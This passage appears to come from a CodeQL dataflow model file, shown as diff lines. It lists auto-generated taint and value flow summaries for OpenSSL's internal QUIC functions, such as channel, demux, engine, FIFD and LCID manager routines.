["", "", True, "ossl_quic_channel_set_max_idle_timeout_request", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*max_idle_timeout_local_req]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback", "(QUIC_CHANNEL *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_msg_callback_arg", "(QUIC_CHANNEL *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[**qtx].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[**qtx].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[1]", "Argument[*0].Field[**qtx].Field[*mutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[2]", "Argument[*0].Field[**qtx].Field[*finishmutatecb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_mutator", "(QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *)", "", "Argument[3]", "Argument[*0].Field[**qtx].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_peer_addr", "(QUIC_CHANNEL *,const BIO_ADDR *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_peer_addr", "(QUIC_CHANNEL *,const BIO_ADDR *)", "", "Argument[1]", "Argument[*0].Field[*cur_peer_addr].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_set_txku_threshold_override", "(QUIC_CHANNEL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*txku_threshold_override]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_channel_subtick", "(QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_ctx_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_quic_demux_has_pending", "(const QUIC_DEMUX *)", "", "Argument[*0].Field[*urx_pending].Field[*alpha]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_inject", "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_inject", "(QUIC_DEMUX *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[**3]", "ReturnValue[*].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[*0]", "ReturnValue[*].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[*short_conn_id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_new", "(BIO *,size_t,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_pending].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_reinject_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_pending].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_free].Field[**alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[*1]", "Argument[*0].Field[*urx_free].Field[**omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_free].Field[*alpha]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_release_urxe", "(QUIC_DEMUX *,QUIC_URXE *)", "", "Argument[1]", "Argument[*0].Field[*urx_free].Field[*omega]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_bio", "(QUIC_DEMUX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_bio", "(QUIC_DEMUX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*net_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[**2]", "Argument[*0].Field[***default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[*2]", "Argument[*0].Field[**default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_default_handler", "(QUIC_DEMUX *,ossl_quic_demux_cb_fn *,void *)", "", "Argument[2]", "Argument[*0].Field[*default_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_demux_set_mtu", "(QUIC_DEMUX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*mtu]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_create_port", "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_create_port", "(QUIC_ENGINE *,const QUIC_PORT_ARGS *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_libctx", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_libctx", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_mutex", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**mutex]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_mutex", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*mutex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_propq", "(QUIC_ENGINE *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_propq", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_get0_reactor", "(QUIC_ENGINE *)", "", "Argument[*0].Field[*rtor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_make_real_time", "(QUIC_ENGINE *,OSSL_TIME)", "", "Argument[1].Field[*t]", "ReturnValue.Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_make_real_time", "(QUIC_ENGINE *,OSSL_TIME)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_new", "(const QUIC_ENGINE_ARGS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_engine_set_inhibit_tick", "(QUIC_ENGINE *,int)", "", "Argument[1]", "Argument[*0].Field[*inhibit_tick]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*now_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_engine_set_time_cb", "(QUIC_ENGINE *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*now_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**11]", "Argument[*0].Field[***sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**13]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**5]", "Argument[*0].Field[***get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**7]", "Argument[*0].Field[***regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[**9]", "Argument[*0].Field[***confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*11]", "Argument[*0].Field[**sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*13]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*1]", "Argument[*0].Field[**cfq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ackm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**txpim]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*5]", "Argument[*0].Field[**get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*7]", "Argument[*0].Field[**regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[*9]", "Argument[*0].Field[**confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[10]", "Argument[*0].Field[*sstream_updated]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[11]", "Argument[*0].Field[*sstream_updated_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[12]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[13]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cfq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ackm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*txpim]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[4]", "Argument[*0].Field[*get_sstream_by_id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[5]", "Argument[*0].Field[*get_sstream_by_id_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[6]", "Argument[*0].Field[*regen_frame]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[7]", "Argument[*0].Field[*regen_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[8]", "Argument[*0].Field[*confirm_frame]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_init", "(QUIC_FIFD *,QUIC_CFQ *,OSSL_ACKM *,QUIC_TXPIM *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *,..(*)(..),void *)", "", "Argument[9]", "Argument[*0].Field[*confirm_frame_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_pkt_commit", "(QUIC_FIFD *,QUIC_TXPIM_PKT *)", "", "Argument[0]", "Argument[*1].Field[*fifd]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_pkt_commit", "(QUIC_FIFD *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*1].Field[*ackm_pkt].Field[*cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_fifd_set_qlog_cb", "(QUIC_FIFD *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_gen_rand_conn_id", "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*2].Field[*id]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_gen_rand_conn_id", "(OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*2].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_handle_frames", "(QUIC_CHANNEL *,OSSL_QRX_PKT *)", "", "Argument[*1].Field[*datagram_len]", "Argument[*0].Field[**txp].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_decrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt", "(QUIC_HDR_PROTECTOR *,QUIC_PKT_HDR_PTRS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_encrypt_fields", "(QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_hdr_protector_init", "(QUIC_HDR_PROTECTOR *,OSSL_LIB_CTX *,const char *,uint32_t,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*cipher_id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_bind_channel", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_debug_add", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *,uint64_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_debug_remove", "(QUIC_LCIDM *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_enrol_odcid", "(QUIC_LCIDM *,void *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_generate", "(QUIC_LCIDM *,void *,OSSL_QUIC_FRAME_NEW_CONN_ID *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_lcidm_generate_initial", "(QUIC_LCIDM *,void *,QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_get_lcid_len", "(const QUIC_LCIDM *)", "", "Argument[*0].Field[*lcid_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_get_unused_cid", "(QUIC_LCIDM *,QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_lookup", "(QUIC_LCIDM *,const QUIC_CONN_ID *,uint64_t *,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_lcidm_new", "(OSSL_LIB_CTX *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*lcid_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new", "(SSL_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_domain", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_listener", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_new_listener_from", "(SSL *,uint64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_obj_desires_blocking", "(const QUIC_OBJ *)", "", "Argument[*0].Field[**parent_obj].Field[**parent_obj]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_desires_blocking", "(const QUIC_OBJ *)", "", "Argument[*0].Field[**parent_obj]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_get0_handshake_layer", "(QUIC_OBJ *)", "", "Argument[*0].Field[**tls]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_get0_handshake_layer", "(QUIC_OBJ *)", "", "Argument[*0].Field[*tls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ *,SSL_CTX *,int,SSL *,QUIC_ENGINE *,QUIC_PORT *)", "", "Argument[0]", "Argument[*0].Field[**cached_port_leader].Field[*cached_event_leader]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_obj_init", "(QUIC_OBJ 